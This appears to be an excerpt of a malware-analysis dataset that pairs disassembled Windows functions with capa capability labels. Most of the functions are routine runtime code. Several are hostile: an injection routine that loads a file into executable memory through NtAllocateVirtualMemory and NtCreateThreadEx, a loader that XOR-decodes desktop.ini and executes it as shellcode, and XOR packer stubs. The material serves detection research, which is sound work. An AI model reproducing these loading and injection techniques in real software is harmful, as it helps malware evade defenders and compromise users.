joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4268d0
Capabilities:
Check if file exists

Disassembly:
push 0xffffffffffffffff
push 0x42a31a
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x435390]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push esi
push edi
mov eax, dword [0x435390]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov eax, dword [esp + 0x4c]
mov edi, dword [esp + 0x48]
xor esi, esi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
xor ecx, ecx
mov eax, edi
mov dword [esp + 0x2c], 7
mov dword [esp + 0x28], esi
mov word [esp + 0x18], cx
lea edx, [eax + 2]
jmp 0x426930
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x426930
sub eax, edx
sar eax, 1
push eax
mov eax, edi
lea ecx, [esp + 0x1c]
call fcn.00406ef0
mov dword [esp + 0x40], esi
cmp dword [esp + 0x2c], 8
mov eax, dword [esp + 0x18]
jae 0x42695e
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x426988
cmp dword [esp + 0x2c], 8
mov eax, dword [esp + 0x18]
jae 0x426978
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
mov esi, eax
neg esi
sbb esi, esi
neg esi
inc esi
cmp esi, 1
sete bl
mov dword [esp + 0x40], 0xffffffff
cmp dword [esp + 0x2c], 8
jb 0x4269aa
mov edx, dword [esp + 0x18]
push edx
call fcn.0040e683
add esp, 4
xor eax, eax
mov dword [esp + 0x2c], 7
mov dword [esp + 0x28], 0
mov word [esp + 0x18], ax
test bl, bl
je 0x426a0b
mov esi, dword [esp + 0x10]
mov eax, esi
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4269d0
sub eax, edx
sar eax, 1
je 0x4269f8
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx + 4]
push edx
mov eax, esi
call fcn.00425930
test eax, eax
jne 0x4269f8
xor eax, eax
jmp 0x426a10
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 4]
push ecx
mov eax, edi
call fcn.00425930
test eax, eax
je 0x4269f4
mov eax, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.0040e68e
add esp, 0x34
ret 8
Function at 0x428840
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x42a7ff
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x435390]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x435390]
xor eax, esp
push eax
lea eax, [esp + 0x3c]
mov dword fs:[0], eax
mov eax, dword [esp + 0x50]
mov ebp, dword [esp + 0x4c]
cmp byte [ebp + 0x1c], 0
jne 0x4289ae
push eax
push 0
push 0x1f0fff
mov dword [ebp + 0x20], eax
mov dword [ebp + 0x24], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp + 4], eax
test eax, eax
je 0x4289ae
mov edx, dword [ebp + 0x20]
mov ecx, dword [ebp + 0x24]
push edx
lea edi, [esp + 0x20]
call fcn.00428310
add esp, 4
mov dword [esp + 0x44], 0
cmp dword [eax + 0x14], 8
jb 0x4288c6
mov eax, dword [eax]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
push eax
push 0
push 0x1f0003
call ebx
mov dword [ebp + 8], eax
mov dword [esp + 0x44], 0xffffffff
lea esi, [esp + 0x1c]
call fcn.0040b3d0
cmp dword [ebp + 8], 0
je 0x4289ae
mov eax, dword [ebp + 0x20]
mov ecx, dword [ebp + 0x24]
push eax
lea edi, [esp + 0x20]
call fcn.00428230
add esp, 4
mov dword [esp + 0x44], 1
cmp dword [eax + 0x14], 8
jb 0x428917
mov eax, dword [eax]
push eax
push 0
push 0x1f0003
call ebx
mov dword [ebp + 0xc], eax
mov dword [esp + 0x44], 0xffffffff
lea esi, [esp + 0x1c]
call fcn.0040b3d0
cmp dword [ebp + 0xc], 0
je 0x4289ae
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
push 1
push 0
call esi
mov dword [ebp + 0x14], eax
test eax, eax
je 0x4289ae
push 0
push 0
push 1
push 0
call esi
mov dword [ebp + 0x10], eax
test eax, eax
je 0x4289ae
lea ecx, [ebp + 0x2c]
push ecx
push 0
push ebp
push 0x4287b0
push 0
push 0
call fcn.0040f1ad
mov esi, eax
add esp, 0x18
test esi, esi
je 0x4289ae
mov edx, dword [ebp + 0x14]
push 0xbb8
push 0
lea eax, [esp + 0x1c]
push eax
push 2
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 0x102
je 0x4289ae
mov dword [ebp + 0x18], esi
mov byte [ebp + 0x1c], 1
mov al, 1
mov ecx, dword [esp + 0x3c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.0040e68e
add esp, 0x34
ret 8
Function at 0x428b90
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x429d61
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x435390]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, dword [esp + 0x40]
xor ebp, ebp
mov dword [esi], ebp
mov dword [esi + 4], ebp
mov dword [esi + 8], ebp
mov dword [esi + 0xc], ebp
mov dword [esp + 0x38], ebp
mov dword [esi + 0x14], ebp
mov dword [esi + 0x18], ebp
mov dword [esi + 0x1c], ebp
mov bl, 1
mov byte [esp + 0x38], bl
lea edi, [esi + 0x24]
push 0x48
mov dword [esp + 0x18], edi
mov dword [edi + 8], ebp
call fcn.0040e69d
add esp, 4
cmp eax, ebp
je 0x428c87
mov dword [edi + 4], eax
mov dword [eax], eax
mov eax, dword [edi + 4]
mov dword [eax + 4], eax
mov eax, dword [edi + 4]
mov dword [eax + 8], eax
mov eax, dword [edi + 4]
mov byte [eax + 0x44], bl
mov ecx, dword [edi + 4]
mov byte [ecx + 0x45], bl
mov byte [esp + 0x38], 4
lea edi, [esi + 0x34]
push 0x3c
mov dword [esp + 0x18], edi
mov dword [edi + 8], ebp
call fcn.0040e69d
add esp, 4
cmp eax, ebp
je 0x428c6e
mov dword [edi + 4], eax
mov dword [eax], eax
mov eax, dword [edi + 4]
mov dword [eax + 4], eax
mov eax, dword [edi + 4]
mov dword [eax + 8], eax
mov edx, dword [edi + 4]
mov byte [edx + 0x38], bl
mov eax, dword [edi + 4]
mov byte [eax + 0x39], bl
mov dword [esp + 0x38], 0xffffffff
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 4
push ebp
lea ecx, [esp + 0x1c]
call fcn.00401d70
push 0x4318c0
lea ecx, [esp + 0x1c]
push ecx
call fcn.0041018a
push ebp
lea ecx, [esp + 0x28]
call fcn.00401d70
push 0x4318c0
lea edx, [esp + 0x28]
push edx
call fcn.0041018a
int3
Function at 0x472fc0
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4a0800]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00472f55
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00459580
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x47300f
cmp dword [ebp - 0x1c], 5
jb 0x473027
jmp 0x473023
cmp dword [ebp - 0x10], 1
jne 0x473027
cmp dword [ebp - 0x1c], 4
ja 0x473023
jne 0x473027
cmp dword [ebp - 0x18], 0
jbe 0x473027
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x483844
call fcn.0041b8d0
test eax, eax
jge 0x473048
mov byte [0x4a6454], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00454f77
add ebp, 0x78
leave
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ed0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x26323fae
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x5f9c1639
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x10001210
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003a95f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.10002ea2
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
je 0x1000129b
push eax
push esi
call fcn.10007536
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.100030b9
int3
Function at 0x10001a90
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
movaps xmm0, xmmword [str.NtAllocateVirtuaNtCreateThreadEx]
xor eax, eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov word [ebp - 8], ax
lea eax, [ebp - 0x4c]
push eax
movups xmmword [ebp - 0x4c], xmm0
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x74006e
movaps xmm0, xmmword [0x100459d0]
push eax
mov dword [ebp - 0x20], 0x6c0064
mov dword [ebp - 0x1c], 0x2e006c
mov dword [ebp - 0x18], 0x6c0064
mov dword [ebp - 0x14], 0x6c
mov dword [ebp - 0x3c], 0x6d654d6c
mov dword [ebp - 0x38], 0x79726f
movups xmmword [ebp - 0x60], xmm0
mov byte [ebp - 0x50], 0
mov dword [ebp - 0x10], 0x64002e
mov dword [ebp - 0xc], 0x740061
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x24]
push eax
call edi
push eax
call esi
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x268]
push 0x104
push eax
push dword [0x1004d4c8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
push 3
push 0
push 1
push 0xa0000000
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10001c20
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
je 0x10001c19
test esi, esi
je 0x10001c19
push 0x40
push 0x3000
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
push 0
lea eax, [ebp - 4]
mov dword [ebp - 0x28], esi
push eax
push 0xffffffffffffffff
call ebx
test eax, eax
jne 0x10001c19
mov eax, dword [ebp - 4]
test eax, eax
je 0x10001c19
push 0
lea ecx, [ebp - 0x2c]
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10001c19
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
mov eax, dword [ebp - 4]
push 0
push 0
push 0
push 0
push 0
push eax
push eax
push 0xffffffffffffffff
push 0
push 0x1fffff
lea eax, [ebp - 0x34]
push eax
call dword [ebp - 0x30]
test eax, eax
jne 0x10001c20
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x10001c20
push eax
call esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002150
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
lea eax, [ebp - 0xd8]
push str.Current_System_Time:__02d:_02d:_02d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea eax, [ebp - 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov esp, ebp
pop ebp
ret

Function at 0x100021a0
Capabilities:
Print debug messages
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push esi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10002208
push 0
lea eax, [ebp - 4]
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x100021fd
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.ReadFile_failed.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x404], 0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001acd9
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.100259f3
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x1001ad18
sub eax, 1
je 0x1001ad13
sub eax, 1
je 0x1001ad0f
xor eax, eax
leave
ret
push 3
jmp 0x1001ad1a
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret

Function at 0x10028b35
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10028b74
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10028b74
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10028b74
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10028b74
cmp dword [ecx + 0x74], 0xe
jbe 0x10028b74
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1002c1ae
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10041ba0
push 0x10041b98
push str.FlsAlloc
push 0x1f
call fcn.1002c019
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002c1e2
push dword [ebp + 8]
mov ecx, esi
call dword [0x1003d17c]
call esi
jmp 0x1002c1e8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1002c22c
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10041bb0
push 0x10041ba8
push str.FlsGetValue
push 0x21
call fcn.1002c019
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002c263
push dword [ebp + 8]
mov ecx, esi
call dword [0x1003d17c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1002c26b
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10041bb8
push 0x10041bb0
push str.FlsSetValue
push 0x22
call fcn.1002c019
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002c2a5
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1003d17c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10030da4
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10030e41
push ebx
push esi
call fcn.10030d6d
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1002f1d8
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10030dee
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10030e40
push edi
push eax
call fcn.1002bd26
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10030e0e
call fcn.10029fd2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10030e3f
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1002f1d8
add esp, 0x20
test eax, eax
jne 0x10030e2d
push edi
call fcn.10029fd2
jmp 0x10030e35
push ebx
call fcn.10029fd2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10030e44
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x10030e55
pop esi
ret
push ebx
push edi
push esi
call fcn.10030d6d
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1002bd26
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10030e7d
push ebx
push esi
push edi
call fcn.1001c9b0
add esp, 0xc
push 0
call fcn.10029fd2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x1003124d
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10030e92

Function at 0x10033782
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.1002a376
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100337f1
cmp esi, dword [ebp - 4]
je 0x100337ec
cmp dword [ebp + 0xc], 0
je 0x100337ec
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x100337c9
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.100332d4
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x100337f3
xor eax, eax
inc eax
jmp 0x100337f3
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10033858
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1004b014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.1002a376
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1002a376
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x100338cf
cmp word [ecx], dx
je 0x100338cf
mov eax, dword [0x1004228c]
push edi
dec eax
push eax
push 0x10042178
call fcn.100337f7
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x10033942
cmp word [eax], dx
je 0x10033942
mov eax, dword [edi]
test eax, eax
je 0x100338f3
cmp word [eax], dx
je 0x100338f3
lea eax, [ebp - 0x10]
push eax
call fcn.100331da
jmp 0x100338fc
lea eax, [ebp - 0x10]
push eax
call fcn.10033275
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x1003396c
mov eax, dword [0x10042174]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10041e68
call fcn.100337f7
add esp, 0xc
test al, al
je 0x1003396c
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x10033937
cmp word [eax], di
je 0x10033937
lea eax, [ebp - 0x10]
push eax
call fcn.100331da
pop ecx
jmp 0x1003396e
lea eax, [ebp - 0x10]
push eax
call fcn.10033275
jmp 0x10033934
mov eax, dword [edi]
test eax, eax
je 0x10033959
cmp word [eax], dx
je 0x10033959
lea eax, [ebp - 0x10]
push eax
call fcn.1003318f
pop ecx
jmp 0x1003396c
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x10033a37
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1003367c
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10033a37
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x10033a37
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x10033a37
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x100339c4
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.1002c447
test ebx, ebx
je 0x10033a32
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.1002c447
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10033a37
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10033a37
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1003778f
add esp, 0x10
xor eax, eax
inc eax
jmp 0x10033a39
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001b724
leave
ret
Function at 0x10039a50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10039a7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10039a7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219